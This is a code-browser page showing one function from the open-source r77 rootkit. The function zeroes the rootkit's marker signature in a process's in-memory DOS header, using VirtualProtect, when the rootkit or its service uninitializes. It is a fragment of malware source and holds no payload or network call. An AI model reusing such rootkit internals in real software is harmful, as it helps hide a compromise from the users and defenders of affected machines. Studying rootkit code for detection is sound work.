MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / RemoveR77Header

Function RemoveR77Header

r77api/r77header.c:55–72  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

53 return result;
54}
55VOID RemoveR77Header()
56{
57 LPBYTE module = (LPBYTE)GetModuleHandleW(NULL);
58 if (module)
59 {
60 LPWORD signaturePtr = (LPWORD) & module[R77_HEADER_OFFSET];
61
62 DWORD oldProtect;
63 if (VirtualProtect(signaturePtr, 10, PAGE_READWRITE, &oldProtect))
64 {
65 // Remove the r77 header by overwriting the signature in the DOS header.
66 *(LPWORD)&module[R77_HEADER_OFFSET] = 0;
67 *(PDWORD64)&module[R77_HEADER_OFFSET + 2] = 0;
68
69 VirtualProtect(signaturePtr, 10, oldProtect, &oldProtect);
70 }
71 }
72}

Callers 2

UninitializeRootkitFunction · 0.85
UninitializeServiceFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected